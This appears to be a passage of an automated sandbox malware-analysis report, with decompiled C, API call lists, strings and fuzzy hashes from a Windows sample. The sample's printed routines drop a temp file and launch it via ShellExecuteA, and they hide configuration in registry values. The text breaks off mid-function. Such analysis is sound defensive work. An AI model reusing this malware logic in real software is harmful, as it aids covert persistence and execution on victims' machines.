CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,00000000,?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 00404290
CloseHandle.KERNEL32(0040A3C7), ref: 004043AB
CloseHandle.KERNEL32(00000001), ref: 004043AE

Strings

PromptOnSecureDesktop, xrefs: 004042A9

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateEvent
String ID: PromptOnSecureDesktop
API String ID: 1371578007-2980165447
Opcode ID: 1ca6cf8784600e63233360972df8e8f73f6c7624b12c89556f18688b41653a7a
Instruction ID: 96190e95dfac0256a72039fb05246d043f10f1ed4b28fe2ef93a25e2cd6a7057
Opcode Fuzzy Hash: 1ca6cf8784600e63233360972df8e8f73f6c7624b12c89556f18688b41653a7a
Instruction Fuzzy Hash: D94181B1900209BADB109BA2CD45FDFBFBCEF40355F104566F604B21C1D7789A51DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00427D08, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00427D69
__aullrem.LIBCMT ref: 00427F36
__aulldiv.LIBCMT ref: 00427F58

Strings

', xrefs: 00427D08
0, xrefs: 00427D24
9, xrefs: 00427F69

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: b06138346e01c4859c971e078a40e2d1bc4e5d7828ca2f175b19f213fc8eb558
Instruction ID: 7d15fba74d6a9ce977d2faf4b879abe111ce0e9ff386a66c66ad33034ff94f59
Opcode Fuzzy Hash: b06138346e01c4859c971e078a40e2d1bc4e5d7828ca2f175b19f213fc8eb558
Instruction Fuzzy Hash: 954124B1E08229CFDB60DF48D989BAEB7B5BF54304F5085DAD008AB241C738AE81CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00434F77, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00434FD8
__aullrem.LIBCMT ref: 004351A5
__aulldiv.LIBCMT ref: 004351C7

Strings

', xrefs: 00434F77
0, xrefs: 00434F93
9, xrefs: 004351D8

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 403a4a1944af8a17fff45db30b91d9a6f14a6034f75f525fc3273268f6792f56
Instruction ID: d7074d67c571e3d597b3f4261d48ac5f96367da40e8068c40c80d571c634ab0a
Opcode Fuzzy Hash: 403a4a1944af8a17fff45db30b91d9a6f14a6034f75f525fc3273268f6792f56
Instruction Fuzzy Hash: A641E271D05629DFDF24CF48CC99BAEB7B5BB48304F24919AD048A7240C738AE85CF85

Uniqueness

Uniqueness Score: -1.00%

Function 00409145, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00409145(void* __eflags) {
				char _v264;
				char _v1288;
				char* _t13;
				void* _t20;
				void* _t23;
				void* _t29;

				_t29 = __eflags;
				GetModuleFileNameA(GetModuleHandleA(0),  &_v264, 0x104);
				CharToOemA( &_v264,  &_v264);
				_t13 =  &_v264;
				_push(_t13);
				_push(_t13);
				wsprintfA( &_v1288, E00402544(0x4122f8,  &E004107A8, 0x66, 0xe4, 0xc8));
				E0040EE2A(_t23, 0x4122f8, 0, 0x100);
				_t20 = E00409064(_t29,  &_v1288,  &_v264);
				if(_t20 != 0) {
					return ShellExecuteA(0, 0,  &_v264, 0, 0, 0);
				}
				return _t20;
			}

0x00409145
0x00409166
0x00409174
0x0040917a
0x00409180
0x00409181
0x004091a9
0x004091b6
0x004091c9
0x004091d3
0x00000000
0x004091e1
0x004091ea

APIs

GetModuleHandleA.KERNEL32(00000000,?,00000104,00000100,PromptOnSecureDesktop), ref: 0040915F
GetModuleFileNameA.KERNEL32(00000000), ref: 00409166
CharToOemA.USER32 ref: 00409174
wsprintfA.USER32 ref: 004091A9

Part of subcall function 00409064: GetTempPathA.KERNEL32(00000400,?,00000000,PromptOnSecureDesktop), ref: 0040907B
Part of subcall function 00409064: wsprintfA.USER32 ref: 004090E9
Part of subcall function 00409064: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040910E
Part of subcall function 00409064: lstrlenA.KERNEL32(00000000,00000100,00000000), ref: 00409122
Part of subcall function 00409064: WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0040912D
Part of subcall function 00409064: CloseHandle.KERNEL32(00000000), ref: 00409134

ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000000), ref: 004091E1

Strings

PromptOnSecureDesktop, xrefs: 0040914E, 00409193, 00409198, 004091B5

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: File$HandleModulewsprintf$CharCloseCreateExecuteNamePathShellTempWritelstrlen
String ID: PromptOnSecureDesktop
API String ID: 3857584221-2980165447
Opcode ID: 69a42f15c0bdb603acf61cfacf6d4b07552c73bbecf68ccfe74a45dc0564b67a
Instruction ID: 6acb945c628b875356ea86accac8c7b18cb61426f44bb7d0566a1afba52fbd3a
Opcode Fuzzy Hash: 69a42f15c0bdb603acf61cfacf6d4b07552c73bbecf68ccfe74a45dc0564b67a
Instruction Fuzzy Hash: 8F016DB69001187BD720A7619D49EDF3A7C9B85705F0000A6BB09E2080DAB89AC48F68

Uniqueness

Uniqueness Score: -1.00%

Function 0040E8A1, Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 172
stringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040E8A1(void* __edx, char _a4, CHAR* _a8, CHAR* _a12, CHAR* _a16) {
				CHAR* _v8;
				signed int _v12;
				intOrPtr _v16;
				CHAR* _v20;
				intOrPtr _v24;
				CHAR* _v28;
				CHAR* _v32;
				intOrPtr _v36;
				char _v37;
				char _v52;
				char _v56;
				intOrPtr _t87;
				intOrPtr _t95;
				int _t126;
				void* _t136;
				void* _t138;
				CHAR* _t139;
				void* _t146;
				char _t150;
				void* _t154;
				void* _t158;
				void* _t159;

				_t146 = __edx;
				_v20 = 0;
				E0040DD05();
				_t150 = _a4;
				_t158 = E0040DD84(_t150, _a8);
				_pop(_t138);
				if(_t158 != 0) {
					L2:
					_t16 = _t158 + 0x30; // 0x30
					_v8 = E00402419(_t138, _t16,  *((intOrPtr*)(_t158 + 0x24)), _a12);
					_t21 = lstrlenA(_a12) + 1; // 0x1
					_t136 = _t21;
					_t87 = lstrlenA(_a16) + _t136 + 1;
					_v16 = _t87;
					if(_v8 == 0) {
						_t139 =  *((intOrPtr*)(_t158 + 0x24));
						_v12 = _v12 & 0x00000000;
						_v8 = _t139;
						_t152 = _t139;
					} else {
						_t126 = lstrlenA(_v8);
						_t152 = _v8 - _t136 - _t158 + 0xffffffd0;
						_v12 = _t126 + _t136 + 1;
						_t87 = _v16;
						_v8 = _v8 - _t136 - _t158 + 0xffffffd0;
					}
					if(_v12 == _t87) {
						E0040EE08(_t152 + _t158 + 0x30, _a12, _t136);
						E0040EE08(_t152 + _t136 + _t158 + 0x30, _a16, _v16 - _t136);
						_t77 = _t158 + 0x30; // 0x30
						_t95 = E004024C2(_t77,  *((intOrPtr*)(_t158 + 0x24)), 0);
						if( *((intOrPtr*)(_t158 + 0x20)) != _t95) {
							 *((intOrPtr*)(_t158 + 0x20)) = _t95;
							 *0x4136c0 = 1;
						}
					} else {
						_t41 = _t87 + 0x24; // 0x24
						_t154 = E0040EBCC( *((intOrPtr*)(_t158 + 0x24)) - _v12 + _t41);
						if(_t154 != 0) {
							_t43 = _t158 + 0xc; // 0xc
							E0040EE08(_t154, _t43,  &(_v8[0x24]));
							 *((intOrPtr*)(_t154 + 0x18)) =  *((intOrPtr*)(_t158 + 0x24)) - _v12 + _v16;
							_v20 =  &(_v8[_t154]);
							E0040EE08( &(( &(_v8[_t154]))[0x24]), _a12, _t136);
							E0040EE08( &(_v20[_t136 + 0x24]), _a16, _v16 - _t136);
							E0040EE08( &(_v20[_v16 + 0x24]),  &(( &(_v8[_v12]))[_t158 + 0x30]),  *((intOrPtr*)(_t158 + 0x24)) - _v8 - _v12);
							_t66 = _t154 + 0x24; // 0x24
							 *((intOrPtr*)(_t154 + 0x14)) = E004024C2(_t66,  *((intOrPtr*)(_t154 + 0x18)), 0);
							E0040DF4C( *((intOrPtr*)(_t158 + 0x24)) - _v8 - _v12, _t154);
							E0040EC2E(_t154);
							_v20 = 1;
						}
					}
					L10:
					E0040DD69();
					return _v20;
				}
				_v56 = _t150;
				_v28 = 0;
				_v24 = 3;
				lstrcpynA( &_v52, _a8, 0x10);
				_v37 = 0;
				_v32 = 0;
				_v36 = E004024C2( &_v20, 0, 0);
				E0040DF4C(_t146,  &_v56);
				_t158 = E0040DD84(_t150, _a8);
				_t159 = _t159 + 0x18;
				if(_t158 == 0) {
					goto L10;
				}
				goto L2;
			}

0x0040e8a1
0x0040e8ac
0x0040e8af
0x0040e8b7
0x0040e8c0
0x0040e8c3
0x0040e8c6
0x0040e917
0x0040e91a
0x0040e932
0x0040e93a
0x0040e93a
0x0040e943
0x0040e947
0x0040e94a
0x0040e96a
0x0040e96d
0x0040e971
0x0040e974
0x0040e94c
0x0040e94f
0x0040e95c
0x0040e95f
0x0040e962
0x0040e965
0x0040e965
0x0040e979
0x0040ea3a
0x0040ea4f
0x0040ea59
0x0040ea5d
0x0040ea68
0x0040ea6a
0x0040ea6d
0x0040ea6d
0x0040e97f
0x0040e985
0x0040e98f
0x0040e994
0x0040e9a1
0x0040e9a6
0x0040e9b8
0x0040e9c0
0x0040e9c7
0x0040e9dd
0x0040ea02
0x0040ea0c
0x0040ea16
0x0040ea19
0x0040ea22
0x0040ea28
0x0040ea28
0x0040e994
0x0040ea77
0x0040ea77
0x0040ea83
0x0040ea83
0x0040e8d1
0x0040e8d4
0x0040e8d7
0x0040e8de
0x0040e8ea
0x0040e8ed
0x0040e8f5
0x0040e8fc
0x0040e90a
0x0040e90c
0x0040e911
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

Part of subcall function 0040DD84: lstrcmpiA.KERNEL32(80000011,00000000,00000108,80000001,00000000,0040DE62,80000001,80000005,00000108,00000000,000000E4,00000000,?,0040E3A7,000000F0), ref: 0040DDB5

lstrcpynA.KERNEL32(?,00401E84,00000010,localcfg,?,flags_upd,?,?,?,?,?,0040EAAA,?,?), ref: 0040E8DE
lstrlenA.KERNEL32(?,localcfg,?,flags_upd,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?), ref: 0040E935
lstrlenA.KERNEL32(00000001,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?,0000000A), ref: 0040E93D
lstrlenA.KERNEL32(00000000,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?), ref: 0040E94F

Strings

flags_upd, xrefs: 0040E8A7
localcfg, xrefs: 0040E8AB

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: lstrlen$CountCurrentExchangeInterlockedThreadTicklstrcmpilstrcpyn
String ID: flags_upd$localcfg
API String ID: 204374128-3505511081
Opcode ID: 798df9beac1de9cfe9593c9a5200f7c4a69fe291944888fed16d288fbbf397d9
Instruction ID: 4a5a107d8aad74d0ab91cd578fe54778089971c235e688b3f19fdb3cdc8cf470
Opcode Fuzzy Hash: 798df9beac1de9cfe9593c9a5200f7c4a69fe291944888fed16d288fbbf397d9
Instruction Fuzzy Hash: A5514F7290020AAFCB00EFE9C985DAEBBF9BF48308F14452EE405B3251D779EA548B54

Uniqueness

Uniqueness Score: -1.00%

Function 0040DD05, Relevance: 9.0, APIs: 6, Instructions: 34
threadsleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040DD05() {
				long _t4;
				long _t10;

				_t10 = GetTickCount();
				while(InterlockedExchange(0x4136b4, 1) != 0) {
					if(GetCurrentThreadId() !=  *0x4136b8) {
						if(GetTickCount() - _t10 >= 0x2710) {
							 *0x4136bc =  *0x4136bc & 0x00000000;
						} else {
							Sleep(0);
							continue;
						}
					}
					L7:
					_t4 = GetCurrentThreadId();
					 *0x4136bc =  *0x4136bc + 1;
					 *0x4136b8 = _t4;
					return _t4;
				}
				goto L7;
			}

0x0040dd17
0x0040dd41
0x0040dd2c
0x0040dd37
0x0040dd4c
0x0040dd39
0x0040dd3b
0x00000000
0x0040dd3b
0x0040dd37
0x0040dd53
0x0040dd53
0x0040dd59
0x0040dd62
0x0040dd68
0x0040dd68
0x00000000

APIs

GetTickCount.KERNEL32 ref: 0040DD0F
GetCurrentThreadId.KERNEL32 ref: 0040DD20
GetTickCount.KERNEL32 ref: 0040DD2E
Sleep.KERNEL32(00000000,?,73B743E0,?,00000000,0040E538,?,73B743E0,?,00000000,?,0040A445), ref: 0040DD3B
InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
GetCurrentThreadId.KERNEL32 ref: 0040DD53

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: CountCurrentThreadTick$ExchangeInterlockedSleep
String ID:
API String ID: 3819781495-0
Opcode ID: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction ID: 5047c4a85d7ce053583ecb6bfb553561e79882e3d1eaa06aec664d00f8baf4e0
Opcode Fuzzy Hash: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction Fuzzy Hash: 1AF0E971604204AFD7505FA5BC84BB53FA4EB48353F008077E109D22A8C77455898F2E

Uniqueness

Uniqueness Score: -1.00%

Function 004080C9, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 146
registryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004080C9(int* __ecx) {
				int _v8;
				void* _v12;
				int _v16;
				char _v20;
				char _v52;
				char _v312;
				void* _t27;
				void* _t31;
				char* _t35;
				char* _t42;
				char* _t45;
				intOrPtr* _t49;
				intOrPtr _t52;
				intOrPtr _t57;
				void* _t60;
				intOrPtr _t63;
				void* _t65;
				void* _t68;
				CHAR _t70;
				intOrPtr _t71;

				_t56 = __ecx;
				_v8 = 0;
				 *0x412c3c = 0;
				 *0x412c38 = 0;
				if(E00406EC3() != 0) {
					_t27 = E0040704C(0x410264, 0, 0,  &_v312,  &_v52);
					_t65 = _t65 + 0x14;
					if(_t27 <= 0 || _v312 == 0 || _v52 == 0) {
						goto L20;
					} else {
						_t35 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
						_t68 = _t65 + 0x14;
						if(RegOpenKeyExA(0x80000001, _t35, 0, 0x101,  &_v12) != 0) {
							L19:
							E0040EE2A(_t56, 0x4122f8, 0, 0x100);
							_t65 = _t68 + 0xc;
							goto L20;
						}
						if(RegQueryValueExA(_v12,  &_v312, 0,  &_v16, 0,  &_v8) != 0 || _v16 != 1 || _v8 <= 0) {
							L15:
							_t42 =  *0x412c3c; // 0x0
							if(_t42 == 0) {
								goto L18;
							}
							E0040EC2E(_t42);
							 *0x412c3c = 0;
							goto L17;
						} else {
							_t45 = E0040EBCC(_v8);
							_pop(_t56);
							 *0x412c3c = _t45;
							if(_t45 == 0) {
								L18:
								RegCloseKey(_v12);
								goto L19;
							}
							_t56 =  &_v8;
							if(RegQueryValueExA(_v12,  &_v312, 0,  &_v16, _t45,  &_v8) != 0) {
								goto L15;
							}
							_t49 =  &_v312;
							_t60 = _t49 + 1;
							do {
								_t57 =  *_t49;
								_t49 = _t49 + 1;
							} while (_t57 != 0);
							_t52 = E0040EBCC(_t49 - _t60 + 1);
							_pop(_t56);
							 *0x412c38 = _t52;
							if(_t52 == 0) {
								goto L18;
							}
							E0040EF00(_t52,  &_v312);
							L17:
							_pop(_t56);
							goto L18;
						}
					}
				} else {
					E00407EE6(_t56);
					L20:
					_t70 =  *0x4121a8; // 0x0
					if(_t70 != 0) {
						_t71 =  *0x4121a4; // 0x0
						if(_t71 == 0) {
							_t31 = E0040675C(0x4121a8,  &_v20, 0);
							_t61 = _t31;
							if(_t31 != 0) {
								_t63 = _v20;
								 *0x4122d4 = E004024C2(_t61, _t63, 0);
								 *0x4121a4 = _t63;
								E0040EC2E(_t61);
							}
						}
					}
					return 1;
				}
			}

0x004080c9
0x004080d7
0x004080da
0x004080e0
0x004080ed
0x0040810b
0x00408110
0x00408115
0x00000000
0x00408130
0x00408151
0x00408156
0x00408167
0x00408216
0x0040821d
0x00408222
0x00000000
0x00408222
0x0040818b
0x004081f7
0x004081f7
0x004081fe
0x00000000
0x00000000
0x00408201
0x00408206
0x00000000
0x00408198
0x0040819b
0x004081a0
0x004081a1
0x004081a8
0x0040820d
0x00408210
0x00000000
0x00408210
0x004081aa
0x004081c2
0x00000000
0x00000000
0x004081c4
0x004081ca
0x004081cd
0x004081cd
0x004081cf
0x004081d0
0x004081d8
0x004081dd
0x004081de
0x004081e5
0x00000000
0x00000000
0x004081ef
0x0040820c
0x0040820c
0x00000000
0x0040820c
0x0040818b
0x004080ef
0x004080ef
0x00408225
0x00408225
0x0040822b
0x0040822d
0x00408233
0x0040823f
0x00408244
0x0040824b
0x0040824d
0x00408259
0x0040825e
0x00408264
0x00408269
0x0040824b
0x00408233
0x00408273
0x00408273

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000101,?,?,?,?,73B743E0,00000000), ref: 0040815F
RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,0040A45F,?,?,00000000,00000101,?,?,?,?,73B743E0,00000000), ref: 00408187
RegQueryValueExA.ADVAPI32(?,?,00000000,00000001,00000000,0040A45F,?,?,00000000,00000101,?,?,?,?,73B743E0,00000000), ref: 004081BE
RegCloseKey.ADVAPI32(?,?,?,00000000,00000101,?,?,?,?,73B743E0,00000000), ref: 00408210

Part of subcall function 0040675C: SetFileAttributesA.KERNEL32(?,00000080,?,73B743E0,00000000), ref: 0040677E
Part of subcall function 0040675C: CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000080,00000000,?,73B743E0,00000000), ref: 0040679A
Part of subcall function 0040675C: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000004,00000000,?,73B743E0,00000000), ref: 004067B0
Part of subcall function 0040675C: SetFileAttributesA.KERNEL32(?,00000002,?,73B743E0,00000000), ref: 004067BF
Part of subcall function 0040675C: GetFileSize.KERNEL32(000000FF,00000000,?,73B743E0,00000000), ref: 004067D3
Part of subcall function 0040675C: ReadFile.KERNELBASE(000000FF,?,00000040,00408244,00000000,?,73B743E0,00000000), ref: 00406807
Part of subcall function 0040675C: SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,73B743E0,00000000), ref: 0040681F
Part of subcall function 0040675C: ReadFile.KERNELBASE(000000FF,?,000000F8,?,00000000,?,73B743E0,00000000), ref: 0040683E
Part of subcall function 0040675C: SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,73B743E0,00000000), ref: 0040685C

Part of subcall function 0040EC2E: GetProcessHeap.KERNEL32(00000000,'@,00000000,0040EA27,00000000), ref: 0040EC41
Part of subcall function 0040EC2E: HeapFree.KERNEL32(00000000), ref: 0040EC48

Strings

PromptOnSecureDesktop, xrefs: 0040814B, 00408150, 0040821C

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: File$AttributesCreateHeapPointerQueryReadValue$CloseFreeOpenProcessSize
String ID: PromptOnSecureDesktop
API String ID: 124786226-2980165447
Opcode ID: f41c48beccc796d99ac39a3e9a8e7a8285e468a1565ebf528982a8b7ec716e81
Instruction ID: c6ff5cc28a73505882571aaa3479db7aabb841166acb9389a4089cab67cb233b
Opcode Fuzzy Hash: f41c48beccc796d99ac39a3e9a8e7a8285e468a1565ebf528982a8b7ec716e81
Instruction Fuzzy Hash: 6641A2B1801109BFEB10EBA19E81DEF777CDB04304F1448BFF545F2182EAB85A948B59

Uniqueness

Uniqueness Score: -1.00%

Function 00427CF5, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00427D69
__aullrem.LIBCMT ref: 00427F36
__aulldiv.LIBCMT ref: 00427F58

Strings

0, xrefs: 00427D24
9, xrefs: 00427F69

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: 8dd572778d42769b5f892cc970b112f872f7f8b9fde39e664846cb7845f9b4a8
Instruction ID: 459efdf2e9be1255cfc6737cdf5ec18f6fdd9703d5847de161718189acab77e2
Opcode Fuzzy Hash: 8dd572778d42769b5f892cc970b112f872f7f8b9fde39e664846cb7845f9b4a8
Instruction Fuzzy Hash: 9F4116B1E08229CFDB60DF48D989BAEB7B5BF54304F5045DAD049A7241C738AE81CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00434F64, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00434FD8
__aullrem.LIBCMT ref: 004351A5
__aulldiv.LIBCMT ref: 004351C7

Strings

0, xrefs: 00434F93
9, xrefs: 004351D8

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: 76da64b256d11849294680e3a813e2a7cc0df4d81c5920740c53fe005e65e8af
Instruction ID: b95e820b9e241f40daab591c7b60983325736b2662360c539de5c7bdaac4b625
Opcode Fuzzy Hash: 76da64b256d11849294680e3a813e2a7cc0df4d81c5920740c53fe005e65e8af
Instruction Fuzzy Hash: CD41F471D15629DFDF24CF48CC99BAEB7B5BB48304F24919AD448A7240C738AE85CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0043C389, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C3F0
__aullrem.LIBCMT ref: 0043C5C0
__aulldiv.LIBCMT ref: 0043C5E2

Strings

9, xrefs: 0043C5F3
', xrefs: 0043C389

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: 044c4e9475caa876993db0b7bf7609c54a9519c81704b3a31cc85cc1f6a62956
Instruction ID: ac0b2a8b7d7395c4f7fea02c49b70e6c0f59825eb54d2a9ebf354bebcce41920
Opcode Fuzzy Hash: 044c4e9475caa876993db0b7bf7609c54a9519c81704b3a31cc85cc1f6a62956
Instruction Fuzzy Hash: EC4107B1E10129AFDB24CF58C881BAEB7B5FF89314F10519AD148BB241D738AE81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040E095, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E095(void* _a4, char* _a8, intOrPtr* _a12, char* _a16, int _a20) {
				int _v8;
				char* _v12;
				void* _v16;
				char _v48;
				intOrPtr* _t34;
				int _t50;
				void* _t52;
				intOrPtr _t53;
				int _t57;
				int _t58;
				void* _t59;
				void* _t60;
				void* _t61;

				_t57 = 0;
				if(RegCreateKeyExA(_a4, _a8, 0, 0, 0, 0x20106, 0,  &_v16, 0) != 0) {
					return 0;
				}
				_v12 = _a16;
				_t34 = _a12;
				_t52 = _t34 + 1;
				do {
					_t53 =  *_t34;
					_t34 = _t34 + 1;
				} while (_t53 != 0);
				_t55 = _t34 - _t52;
				_v8 = 0;
				if(_t34 - _t52 > 0x1c) {
					_t55 = 0x1c;
				}
				E0040EE08( &_v48, _a12, _t55);
				_t50 = _a20;
				_t61 = _t60 + 0xc;
				if(_t50 <= _t57) {
					L11:
					E0040F1ED(_v8, _t59 + _t55 - 0x2c, 0xa);
					RegDeleteValueA(_v16,  &_v48);
					RegCloseKey(_v16);
					return 0 | _t50 == _t57;
				} else {
					while(1) {
						_t58 = 0xff000;
						if(_t50 < 0xff000) {
							_t58 = _t50;
						}
						E0040F1ED(_v8, _t59 + _t55 - 0x2c, 0xa);
						_t61 = _t61 + 0xc;
						if(RegSetValueExA(_v16,  &_v48, 0, 3, _v12, _t58) != 0) {
							break;
						}
						_v12 =  &(_v12[_t58]);
						_t50 = _t50 - _t58;
						_v8 = _v8 + 1;
						if(_t50 > 0) {
							continue;
						}
						break;
					}
					_t57 = 0;
					goto L11;
				}
			}

0x0040e09c
0x0040e0ba
0x00000000
0x0040e172
0x0040e0c3
0x0040e0c6
0x0040e0c9
0x0040e0cc
0x0040e0cc
0x0040e0ce
0x0040e0cf
0x0040e0d7
0x0040e0d9
0x0040e0df
0x0040e0e3
0x0040e0e3
0x0040e0ec
0x0040e0f1
0x0040e0f4
0x0040e0f9
0x0040e13f
0x0040e149
0x0040e158
0x0040e161
0x00000000
0x0040e0fb
0x0040e0fb
0x0040e0fb
0x0040e102
0x0040e104
0x0040e104
0x0040e110
0x0040e115
0x0040e12f
0x00000000
0x00000000
0x0040e131
0x0040e134
0x0040e136
0x0040e13b
0x00000000
0x00000000
0x00000000
0x0040e13b
0x0040e13d
0x00000000
0x0040e13d

APIs

RegCreateKeyExA.ADVAPI32(80000001,0040E2A3,00000000,00000000,00000000,00020106,00000000,0040E2A3,00000000,000000E4), ref: 0040E0B2
RegSetValueExA.ADVAPI32(0040E2A3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E127
RegDeleteValueA.ADVAPI32(0040E2A3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E158
RegCloseKey.ADVAPI32(0040E2A3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0040E2A3), ref: 0040E161

Strings

PromptOnSecureDesktop, xrefs: 0040E0D3

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: Value$CloseCreateDelete
String ID: PromptOnSecureDesktop
API String ID: 2667537340-2980165447
Opcode ID: 72ec9626f1a57597f212d5c6e724b1b36c6131d7c0d684d5184da94b21603b05
Instruction ID: af4a942e7328ea1ce2cdf979f73f75556816175b5134196b99f0fb832a21e1c2
Opcode Fuzzy Hash: 72ec9626f1a57597f212d5c6e724b1b36c6131d7c0d684d5184da94b21603b05
Instruction Fuzzy Hash: 2F218071A00219BBDF209FA6EC89EDF7F79EF08754F008072F904A6190E6718A64DB94

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD08, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
stringnetworkCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AD08(CHAR* _a4) {
				char _v132;
				int _t9;
				char _t11;
				intOrPtr* _t12;
				CHAR* _t13;
				CHAR* _t14;

				_t9 = gethostname( &_v132, 0x80);
				if(_t9 != 0) {
					_t14 = _a4;
					L15:
					if( *_t14 != 0) {
						return _t9;
					}
					return lstrcpyA(_t14, "LocalHost");
				}
				_t13 = _a4;
				_t11 = _v132;
				_t12 =  &_v132;
				_t14 = _t13;
				while(_t11 != 0) {
